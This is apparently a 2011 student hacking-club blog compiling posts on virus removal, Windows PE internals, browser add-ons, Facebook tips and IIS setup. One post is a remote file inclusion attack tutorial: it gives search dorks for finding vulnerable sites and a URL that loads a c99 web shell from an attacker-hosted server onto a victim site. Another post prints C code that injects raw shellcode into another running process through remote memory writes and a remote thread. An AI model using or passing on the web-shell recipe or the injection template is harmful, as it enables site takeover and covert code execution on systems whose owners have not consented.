Now you can send this image to your friend via email. To decrypt the hidden message, your friend should load this JPG file onto the Stego Magic tool and use the secret decryption key.

Posted By :- |-|A|_F B|_00d Pr|nCe

Remove REGSVR.EXE and New Folder.exe viruses completely

2011-11-22T18:54:00.001+05:30

Plug a pendrive into a public computer and you will be pesked by the continuously replicating “New Folder.exe” virus or the “regsvr.exe” virus. Hear my story, while I transferred my notes last night (around 600 folders) and I was surprised to see that around 450 MB of space was eaten by these self replicating space eaters ! I was running Linux so these were not a concern for me, but when I plugged my pendrive into my virtual machine (windows xp sp2), it caused multiple problems of explorer corruption and disabling registry tools.

Time for some virus busting I guess..here is how you can remove “regsvr.exe” and “new folder.exe” from your computer.

Step 1 - Some Startup Repairs

First of all, boot into safe mode.After you get to your desktop,press F3 or Ctrl + F and search for “autorun.inf” file in your computer and delete all the subsequent files. I case you are no able to delete them, select all the files and uncheck the”Read Only” option. If you are still not able to delete them , you might want to try out Unlocker tool todelete the files.

Now go to

start – > run –> type ”msconfig”

and press enter

Go to startup tab and uncheck “regsvr”, click ok and then click on “Exit without restart”.

Now go to

control panel –> scheduled tasks and delete “At1” task listed there.

Once done, close all windows.

Step 2 - Changing Configurations

Your registry might be disabled,and you need to activate it back to undo all the malicious changes done by worm.In order to do that, you need to go to

start – > run –> type ”gpedit.msc”

and press enter

then navigate to

users configuration –> Administrative templates –> systems

Find “prevent access to registry editing tools” , double click it and change the option to disable.

Once done, your Regedit will be enabled. In case your task manager is disabled, you need to enable it.

Step 3 - Registry Edits

Now we have to perform some registry edits to enable our explorer and to remove all instances of worm from the registry. Go to

start – > run –> type ”regedit”

and press enter

Click on Edit –> Find and search for regsvr.exe . Find and delete all the occurrences of regsvr.exe virus (don't delete regsvr32.exe as its not a virus).

then navigate to entry

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon

and modify the entry

Shell = “Explorer.exe regsvr.exe”

to delete the regsvr.exe from it,so that it becomes

Shell = “Explorer.exe”

Once done, close all windows and get ready to delete all virus files.

Step 4 - Deleting Virus Files

The final step is to delete all the virus files in your computer. To do this, Press F3 or Ctrl + F and search for regsvr.exe (make sure to search in hidden folders ) and delete all “regsvr.exe” “svchost .exe” files (notice the gap between ‘svchost’ and ‘.exe’, keep in mind you don't delete the legitimate file.).

Clean your recycle bin and restart your PC (perform a cold boot).

Volia..you have cleaned your computer from regsvr..just make sure to scan your pendrive the next time you plug in :)

Posted By :- |-|A|_F B|_00d Pr|nCe

INTERNALS OF PROGRAMMING APPLICATIONS

2011-11-03T20:00:00.004+05:30

People have always asked me is the programming that college teachers teach enough for us.

Here is the answer

it never ends.....

Any executable in order to work needs some functions to implement its features.these functions are called API.

It stands for application programming interface.

An api is set of functions that help in developement of various applications for a specific platform . These functions may provide the functionality ranging from the most basic mouse movement to the advanced process spawning tasks.Consider them just to be your normal c style functions (like add()) that are provided by the vendor or may be user defined.

dll::

dynamic linked libraries are nothing but binary files containing the definitons of the various API's.

example::

void func(){};

void main()

{

func();

}

In the function above we can also give the defintion of func() in another .c source file and then that file be included by defining the func() function in a separate file and using the directive::

#include "name of file"

before the main() function.

example::

#include "f.c"

//contents of f.c::

//void func(){}

void main()

{

func();

}

Same is the case with dlls.

For example in order to use the API MessageBox() we may use the windows.h header file which will cause the dll associated with the MessageBox API(user32.dll in this case ) to be loaded automatically at the run time by the linker(or operating system ,for simplicity). dll files contain the DllMain function (which is called at the time the dlla are initialized ) besides the usual function to export to the applicaions.

Why we add the name dynamic to them ? well the reason is that they are loaded at the runtime

(ie loaded dynamically) by the operating system into the process address space(ie the region where executable is mapped in the primary memory of the system)

What is the structure of the process like?

The PE file::

windows conforms to the pe(portable execuatble) /coff(common object file format) that defines how the executable image(file) should be laid out in the memory.

One of the main features of the pe file format is that it starts with the typical dos stub that contains the initials MZ(Mark Zbikowski)

that means if you were to open any .exe,or .dll or .sys file in notepad you would surely find these initials at the beginning...

nice alternative of checking extensions if someone has disabled the extensions isn't it! :)

there are various sections inside a pe file .these sections are .text(contains the code),.data(contains the initialized data),.rsrc section(conatins resources bitmap,cursor etc.) and there are few others.

The windows loader reads the information contained in the pe file located on the disc and uses it to construct fully working process loaded in the ram...

this is how everything works underneath an application without you even knowing it!

Posted by:

Cr4nk

WEBSITE HACKING: REMOTE FILE INCLUSION

2011-11-03T19:38:00.002+05:30

REMOTE FILE INCLUSION (RFI)

Remote file inclusion (RFI) is a very common vulnerability found in most of the websites. Remote file inclusion allows the attacker to upload a script or malicious code in a website or server. Using this attack, we can exploit"dynamic file include" mechanisms in web applications. when web applications take user input(such as url, parameter values etc) and pass them into file include commands, the website can be tricked into including remote files with malicious code.using RFI you can deface the vulnerable websites, get access to the server or even you can manipulate of the response sent to the client of the website. For example you can embed a JavaScript code to steal the client cookie session.

PHP is particularly vulnerable to RFI attacks due to the extensive use of "file includes" in PHP programming. The vulnerability mainly relies on the PHP include () function. So you need to know some basic php concepts for better understanding of this attack. A include() function is used to include or evaluate a specified file. Actually the php code responsible for this vulnerability will be in a format similar as stated below:

Thus If this isn't coded properly, the script doesn't check where the file is coming from and so an inclusion from another site will be accepted and run on the server. This means that a text file containing PHP script can be hosted on another site but run on the site being targeted.

Performing a RFI attack

1. First step is to find the vulnerable website

Remote File inclusion vulnerability usually occur in those sites which have a navigation similar to this:

www.victimwebsite.com/index.php?page=something

To find a vulnerable website, we will use Google dorks :

Go to google, and type the following:

Inurl:index.php?file=something

Inurl:index.php?page=something

Inurl:index.php?open=something

There are many more dorks for finding RFI vulnerable websites.

At the end you will find numerous websites similar to the address stated above. But remember, these are sites which may be prone to RFI attack. We have to check further that whether they are vulnerable or not.

So go to a particular website in which you want to test RFI attack . for example if your website’s url is: www.victimwebsite.com/index.php?file=anything

Replace the red colour text with http://google.com, so that the url of the target website would be same as: www.victimwebsite.com/index.php?file=http://google.com

Now as soon as you press enter,if google homepage is there in the website, it means the website is vulnerable to RFI attack.

EXPLOITING RFI VULNERABILITY

2. Now lets look how we can exploit RFI vulnerability .

This is where the concept of web shells come in. A web shell is a script that can handle simple tasks such as uploading, deleting and executing commands. The most common shell being the c99 but others are available such as the r57 and c100. This basically means that if you get a web shell to execute on an unprotected site, you will have full control over that site - and will be able to upload or delete any file you wish.

We will use c99 webshell to deploy our attack, you can download the c99 webshell from the link below:

C99 download link

Now you need to upload this webshell as a text file in your own website(attacker’s website) or in any webhost. After uploading if your url would be: www.mysite.com/c99.txt, then all you do is to simply put this link at the end of your vulnerable site. Thus the final string that will run the webshell is:

http://www.victimwebsite.com/index.php?file=http://www.mysite.com/c99.txt?

Note: the question mark should be at the end.

This will execute in the php as
include('http://www.site.com/c99.txt'); which includes the web shells script in the page.

Now if you succeds to run the web shell in vulnerable website, you will see a screen similar as below:

The shell will display information about the remote server and list all the files and directories on it. Now you are inside the website and you can do anything with it.

PROTECTION AGAINST RFI

If you still want to use index.php?file=, then use “switch” statement that defines the page before hand. A secure php code would be as below:

Or the best way is simply make sure that you are using up-to-date scripts, and make sure your server php.ini file has register_globals and allow_url_fopen disabled.

I personally don’t prefer any tool for penetration testing, but if you want to use a tool for RFI attack then,A tool called FIMAP is used to exploit Remote file inclusion. This is scripted in python language.

http://code.google.com/p/fimap/

download the tool:

http://code.google.com/p/fimap/downloads/list

Sources: security papers from: www.exploit-db.com

http://en.wikipedia.org/wiki/Remote_file_inclusion

www.corelan.be

image source: www.hackforums.net

Well, that’s the end of the tutorial. Hope you have learnt something from this post. Your feedback will be useful for us.

!!!!ENJOY HACKING!!!

Posted by: DR34MHAXX

DOCUMENTS OF THE LAST TWO SEMINARS

2011-10-25T16:08:00.002+05:30

Download the documents related to last two seminars conducted for first yearites from the downloading link given below:

http://www.mediafire.com/?75wqap5u7754ajz

http://www.mediafire.com/?lt4td13r263nj1y

Post your queries in our blog or in our facebook page.

For more queries contact:

RAGHAV PANDE(8769233563)

AKASH KUMAR SINGH(9636899541)

VIVEK PARIKH(9784814888)

Visit our blog for regular updates: http://teamhackaholic.blogspot.com/

Facebook: http://facebook.com/hackaholic.jecrc

Twitter: http://twitter.com/hackaholic.jecrc

Dll Injection +1

2011-10-21T22:49:00.004+05:30

Programming never hurts here or there!

So lets learn a method by which we can execute our own arbitary code into other process's context.

To understand the concept you have to understand what exactly executable code is.

Under windows there are many extensions which we may have came across but never used.

The code at its most basic level is just a simple BYTE from 0x00 to 0xFF. i.e. 0-255

a simple representation of ExitProcess(0); in C language is actually very different in real machine code which we will be using in this experiment.

in C

#include

int main()

{ExitProcess(0);}

in machine lingua

xor eax,eax

push eax

mov eax,[ExitProcess]

call eax

each line represents different set of instructions

which can be formed as 0x33 0xc0 0x50 0xB8 0xFD 0x98 0xE7 0x77 0xFF 0xD0,

this is its pure form is a code for calling exitprocess api of windows which can terimate any process, should it be called from any process's context.

Now we have our resources, we require a little bit knowledge on different type of files.

.cpl control panel extension

.exe portable executable

.dll dynamic link library

.ocx Visual basic library

.sys system driver

.scr screensaver file

.drv driver

what we are concerned about here is .dll and .exe

theory

using dev-CPP which is an open source C++ compiler

we will create a sample dll which prints helloworld message.

dll name = sample.dll

then to inject that dll into another process's context means

Creating the process in suspended state

allocating memory of 11bytes

write in it "sample.dll"

then create thread on target process.

in practice:

then Create a source file in dev-CPP

write this

#include

BOOL WriteProcessBytes(HANDLE hProcess, LPVOID lpBaseAddress, LPCVOID lpBuffer, SIZE_T nSize)

{

DWORD dwOldProtect;

BOOL boolReturn = FALSE;

if(hProcess == NULL)

{

VirtualProtect(lpBaseAddress, nSize, PAGE_EXECUTE_READWRITE, &dwOldProtect);

boolReturn = ((memcpy(lpBaseAddress, lpBuffer, nSize))? 1 : 0);

VirtualProtect(lpBaseAddress, nSize, dwOldProtect, &dwOldProtect);

}

else

{

VirtualProtectEx(hProcess, lpBaseAddress, nSize, PAGE_EXECUTE_READWRITE, &dwOldProtect);

boolReturn = WriteProcessMemory(hProcess, lpBaseAddress, (LPVOID)lpBuffer, nSize, 0);

VirtualProtectEx(hProcess, lpBaseAddress, nSize, dwOldProtect, &dwOldProtect);

}

return boolReturn;

}

int main()

{

BYTE shellcode[]="\xd9\xeb\x9b\xd9\x74\x24\xf4\x31\xd2\xb2"

"\x77\x31\xc9\x64\x8b\x71\x30\x8b\x76\x0c"

"\x8b\x76\x1c\x8b\x46\x08\x8b\x7e\x20\x8b"

"\x36\x38\x4f\x18\x75\xf3\x59\x01\xd1\xff"

"\xe1\x60\x8b\x6c\x24\x24\x8b\x45\x3c\x8b"

"\x54\x28\x78\x01\xea\x8b\x4a\x18\x8b\x5a"

"\x20\x01\xeb\xe3\x34\x49\x8b\x34\x8b\x01"

"\xee\x31\xff\x31\xc0\xfc\xac\x84\xc0\x74"

"\x07\xc1\xcf\x0d\x01\xc7\xeb\xf4\x3b\x7c"

"\x24\x28\x75\xe1\x8b\x5a\x24\x01\xeb\x66"

"\x8b\x0c\x4b\x8b\x5a\x1c\x01\xeb\x8b\x04"

"\x8b\x01\xe8\x89\x44\x24\x1c\x61\xc3\xb2"

"\x08\x29\xd4\x89\xe5\x89\xc2\x68\x8e\x4e"

"\x0e\xec\x52\xe8\x9f\xff\xff\xff\x89\x45"

"\x04\xbb\x7e\xd8\xe2\x73\x87\x1c\x24\x52"

"\xe8\x8e\xff\xff\xff\x89\x45\x08\x68\x6c"

"\x6c\x20\x41\x68\x33\x32\x2e\x64\x68\x75"

"\x73\x65\x72\x88\x5c\x24\x0a\x89\xe6\x56"

"\xff\x55\x04\x89\xc2\x50\xbb\xa8\xa2\x4d"

"\xbc\x87\x1c\x24\x52\xe8\x61\xff\xff\xff"

"\x68\x6f\x78\x58\x20\x68\x61\x67\x65\x42"

"\x68\x4d\x65\x73\x73\x31\xdb\x88\x5c\x24"

"\x0a\x89\xe3\x68\x58\x20\x20\x20\x68\x4d"

"\x53\x46\x21\x68\x72\x6f\x6d\x20\x68\x6f"

"\x2c\x20\x66\x68\x48\x65\x6c\x6c\x31\xc9"

"\x88\x4c\x24\x10\x89\xe1\x31\xd2\x52\x53"

"\x51\x52\xff\xd0\x31\xc0\x50\xff\x55\x08";

HANDLE hProcess; //** Will be the process we inject

HMODULE hKernel; //** Will hold Kernel module

LPVOID lpExecString, lpLoadLibraryAddr; //** Remote string and LoadLibrary() address holder

STARTUPINFO si;

PROCESS_INFORMATION pi;

ZeroMemory( &si, sizeof(si) );

si.cb = sizeof(si);

ZeroMemory( &pi, sizeof(pi) );

CreateProcess(NULL,"C:\\Program Files (x86)\\Garena\\garena.exe", NULL, NULL, FALSE, NORMAL_PRIORITY_CLASS, NULL, NULL,&si,&pi); //** Attempt to gain access to user-defined process

// ResumeThread(pi.hThread);

hProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, pi.dwProcessId);

if(hProcess == INVALID_HANDLE_VALUE) //** Error

{

return FALSE;

}

lpExecString = (LPVOID)VirtualAllocEx(hProcess, NULL, sizeof(shellcode), MEM_RESERVE | MEM_COMMIT, PAGE_READWRITE);

if(lpExecString==NULL){return 0;}

if(WriteProcessBytes(hProcess, (LPVOID)lpExecString, shellcode, sizeof(shellcode)) == FALSE)

{return FALSE;

}

HANDLE hRemoteThread = CreateRemoteThread(hProcess, NULL, 0, (LPTHREAD_START_ROUTINE)lpExecString, NULL, 0, NULL);

ResumeThread(pi.hThread);

CloseHandle(hProcess);

return TRUE;

}

then run the file. as stated in Createprocess api garena.exe will start running and a thread will also run in context of it which will print a hello world messageBox

in above code we havent used any form of dll injection because i got hold of raw machine code which could be written in the process and thread be started from its shellcode[0]'th position.

this technique could be used to run custom code under another process.

Gmelius : Better & Cleaner Gmail

2011-10-18T15:54:00.001+05:30

Gmelius is a poly-browser extension that removes ads in Gmail™ and enhances Gmail’s UI.

No more ads in your Gmail. Simple, light and efficient. The only extension out there that removes completely all the ads you can find on Gmail and does much more (see UI optional features below).

Remove all ads in your Gmail, that is:

1 No ads at the top of your inbox, i.e. web clips
2 No ads at the right of your message
3 No ads at the bottom of your message
4 No Google Products/Services ads in the footer
5 Hide Invite a Friend Field

UI optional features (version 4.*):

1    Move "Contacts" and "Tasks" to top navigation bar
2    Make Header (i.e. Search Block & Logo) auto-expandable *
3    Make Gmail your default Email Client, i.e. open all email links with Gmail
4    Remove the "People Widget" and use the space left to read/write your emails
5    Remove Chat
6    Remove Status of your contacts in Chat
7    Remove scroll bars in Chat and Preview Pane (Lab)
8    Remove Footer
9    Remove "Consider including" when writing your emails
10 Disable the default row highlight added by Gmail Ad Remover
11 Change the color of row highlight on mouse over

♠ About the Permissions:
This extension will never access, read, store, or transmit your personal data.

The "This extension can access your data on all websites" warning comes from the optional feature which replaces all "mailto:" links in websites you visit and opens them with Gmail via a short script. By leaving this option unchecked, you won't make use of the latter script.

The "Your tabs and browsing activity" comes from the fact that this extension modifies the style and UI of Gmail within your browser and so needs to know whether Gmail is open in your browser (i.e. tabs) to apply those changes.

Try it now in Google Chrome!

Prevent FaceBook From Tracking You !!!

2011-10-06T00:37:00.000+05:30

A Few days back we had Talked about "Facebook track your cookies even after logout". Do you know how these social networking sites like Facebook, Google+, and Twitter tracks your visits to any web page that uses the familiar "Like", "Follow", or "+1" buttons, even if you do not actually click these buttons?
I being a bit concerned about my privacy, have already installed privacy addons like Ghostery, Adblock Plus & hope a few of you might have done the same, but here’s a new addition to your privacy toolkit – Priv3.

Priv3 is different from addons like Ghostery. For example, Ghostery blocks social sharing buttons (+1, Like, Tweet buttons) and other social snippets (Facebook comments, Facebook connect) completely, so you may feel disconnected.

Priv3 maintains & protects your privacy by blocking trackers, but still shows social snippets like Facebook Comments, +1, like buttons so you don’t miss any content. Once you interact with the social snippet, it reloads the cookies and tracking starts again, so unless and until you interact with the snippet, the addon keeps blocking the trackers.

Now for Chrome user's its bit of an disappointment as Priv3 is only available for Firefox, so all they can do is wait for a Chrome version of it. If you’re a Firefox user, check it out and also tell us what you think of it.

Download The Priv3 Firefox Extension

How to get back to the old Facebook interface ???

2011-10-03T00:00:00.000+05:30

Facebook made major changes to its user interface last month, and most of the users found it annoying. They are not just annoyed, but also confused on how the new features function. Users were pretty happy and adapted to the previous UI, which was user friendly and easy to use. However, the new changes to the UI has drawn confusions and put things upside down.
Along with the UI changes, came the real-time updates feature called Ticker. The Ticker basically updates every second with new comments, “likes” and tags made by friends. It is annoying because users don’t really want to know what exactly is happening over Facebook. For instance, Suppose I have 600+ friends on Facebook, and I’m not concerned about who my friend adds or whose comment he/she likes.
According to Facebook, “the Ticker, on the right-hand side of your account, lets you see all your friends’ activity in real-time. When you hover over an item on ticker, you can see the full story and join the conversation as it happens. Ticker updates itself as stories happen. This gives you a more complete picture of what your friends are doing, right now.”
Real-time updates work great with Twitter, but not with Facebook, and I think Facebook should probably stop “copying” features from other social networking sites. Although the new features are annoying, there are ways to revert back to the old Facebook UI, and disable the Ticker as well.
You might have come across blogs indicating the trick to get back the old Facebook UI by changing the preferred language to English (UK), and indeed the trick stopped working as Facebook fixed the issue. However, there is still a way to get back the old UI, and interestingly it works in a similar fashion by changing the preferred language.

How to you get back to the old lovely Facebook interface & Get rid of this new one?
Change the preferred language to a foreign language other than English (US and UK). For instance, I have changed the language to German. If you’re a Google Chrome user, you will immediately be prompted to “translate” the page into English.
Before you click on the translate button, click on the “Options” button and select “Always translate German to English”. Now refresh or open Facebook in a new tab, and you will notice that every time you open Facebook, the page will be automatically translated to English. That way you will see the old Facebook interface and the Ticker disabled.

If you’re a Firefox user, try using the Facebook Translate add-on. However, I’ll definitely update this post if I find an alternate solution for Firefox users.

Mozilla Firefox 7 Released

2011-09-28T17:01:00.002+05:30

Firefox 7 final version has been released on September 27, 2011

The latest version of Firefox has the following changes:

Drastically improved memory handling for certain use cases
Added a new rendering backend to speed up Canvas operations on Windows systems
Bookmark and password changes now sync almost instantly when using Firefox Sync
The ‘http://’ URL prefix is now hidden by default
Added support for text-overflow: ellipsis
Added support for the Web Timing specification
Enhanced support for MathML
The WebSocket protocol has been updated from version 7 to version 8
Added an opt-in system for users to send performance data back to Mozilla to improve future versions of Firefox
Fixed several stability issues
Fixed several security issues

Please see the complete list of changes in this version. Web and extension developers should also view the curated list of platform changes.

Download the latest version that’s right for you, and try to make internet a better place!

Facebook track your cookies even after logout

2011-09-27T00:44:00.000+05:30

According to Australian technologist Nik Cubrilovic: 'Logging out of Facebook is not enough.' He added, Even after you are logged out, Facebook is able to track your browser's page every time you visit a website. He wrote in his blog 'With my browser logged out of Facebook, whenever I visit any page with a Facebook like button, or share button, or any other widget, the information, including my account ID, is still being sent to Facebook.'

After explaining the cookies behavior he also suggested a way to fix the tracking problem: 'The only solution to Facebook not knowing who you are is to delete all Facebook cookies.'

NewsSource : http://thehackernews.com/2011/09/facebook-track-your-cookies-even-after.html

Download Video and Audio from YouTube, Facebook and 40+ Websites

2011-09-26T16:02:00.000+05:30

People still ask me how to download YouTube videos. I usually point them to www.keepvid.com. I’m sure there are tons of similar video downloading sites but that’s the only name I can remember. Others who use Firefox or Chrome I try to explain extensions but eventually end up on keepvid again. The next time somebody asks me how to download videos, I’m going to point them to Freemake Video Downloader.
I have used one other software by Freemake – their Video Converter and I loved it. With Freemake Video Converter, the developers have once again showed how to blend usability and aesthetics into one impressive little package.

The software is a no-brainer – just copy the URL of the video page, click on the Paste URL button and then choose the video quality and resolution you want to download. You can even extract only the audio tracks from online videos, and optionally convert the audio and videos formats into those supported by handheld devices - AVI, MKV, MP3, iPod, iPhone, iPad, PSP, Android – in one swoop.

You can enter your YouTube or Facebook account login credentials and automatically download privately shared videos from Facebook friends and YouTube pages that require user login. Have multiple accounts? No problem. Create accounts on Freemake Video Downloader for all of them.

Apart from the two most popular video downloading sites – YouTube and Facebook - Freemake Video Downloader allows you to download videos from over 40 different websites including Vevo, MTV, Dailymotion, Megavideo, Vimeo, Metacafe, ComedyCentral, TheDailyShow, Vh1, Veoh, Break, LiveLeak, Photobucket and a host of adult sites.

To prevent toddlers from downloading videos from the adult sites, parents can put a password into the program. Without the correct password, the software refuses to download videos from adult sites. Downloading videos from other sites are not impaired.

Increase Win XP Folder Settings

2011-09-15T23:19:00.000+05:30

Hi Techies,
This post of mine is about increasing the default value of number of settings stored by XP about Folders.
WinXP remembers 400 folder settings. When that number is reached some settings aren't retained any longer. You can change this to 8000 by adding this edit to the registry.

1. Copy the following (everything in the italic) into notepdad.

Windows Registry Editor Version 5.00

[-HKEY_CURRENT_USER\Software\Microsoft\Windows\ShellNoRoam\BagMRU]
[-HKEY_CURRENT_USER\Software\Microsoft\Windows\ShellNoRoam\Bags]

[HKEY_CURRENT_USER\Software\Microsoft\Windows\Shell]
"BagMRU Size"=dword:00001f40

[HKEY_CURRENT_USER\Software\Microsoft\Windows\ShellNoRoam]
"BagMRU Size"=dword:00001f40

[HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer]
"NoSaveSettings"=dword:00000000

2. Save the file as folder8000.reg
3. Double click the file to import into your registry.

!!! You are Done !!!

Installing IIS On Win XP Pro

2011-09-15T23:06:00.000+05:30

If you are running Windows XP Professional on your computer you can install Microsoft's web server, Internet Information Server 5.1 (IIS) for free from the Windows XP Pro installation CD and configure it to run on your system by following the instructions below: -

1. Place the Windows XP Professional CD into your CD-Rom Drive.

2. Open 'Add/Remove Windows Components' found in 'Add/Remove Programs' in the 'Control Panel'.

3. Place a tick in the check box for 'Internet Information Services (IIS)' leaving all the default installation settings intact.

4. Once IIS is installed on your machine you can view your home page in a web browser by typing 'http://localhost' (you can substitute 'localhost' for the name of your computer) into the address bar of your web browser. If you have not placed your web site into the default directory you should now be looking at the IIS documentation.

5. If you are not sure of the name of your computer right-click on the 'My Computer' icon on your desktop, select 'Properties' from the shortcut menu, and click on the 'Computer Name' tab.

6. Your default web directory to place your web site in is 'C:\Inetpub\wwwroot', but if you don't want to over write the IIS documentation found in this directory you can set up your own virtual directory through the 'Internet Information Services' console.

7. The 'Internet Information Services' console can be found in the 'Administration Tools' in the 'Control Panel' under 'Performance and Maintenance', if you do not have the control panel in Classic View.

8. Double-click on the 'Internet Information Services' icon.

9. Once the 'Internet Information Services' console is open you will see any IIS web services you have running on your machine including the SMTP server and FTP server, if you chose to install them with IIS.

9. To add a new virtual directory right click on 'Default Web Site' and select 'New', followed by 'Virtual Directory', from the drop down list.

10. Next you will see the 'Virtual Directory Creation Wizard' from the first screen click the 'next' button.

11. You will then be asked to type in an 'Alias' by which you will access the virtual directory from your web browser (this is the name you will type into your web browser after 'localhost' to view any web pages you place in the directory).

12. Next you will see a 'Browse...' button, click on this to select the directory your web site pages are in on your computer, after which click on the 'next' button to continue.

13. On the final part of the wizard you will see a series of boxes, if you are not worried about security then select them all, if you are and want to run ASP scripts then check the first two, followed by the 'next' button.

14. Once the virtual directory is created you can view the web pages in the folder by typing 'http://localhost/aliasName' (where 'aliasName' is, place the alias you called the virtual directory) into the address bar of your web browser (you can substitute 'localhost' for the name of your computer if you wish).

!!!! You are Done !!!! Enjoy Running your Websites over it ;) :)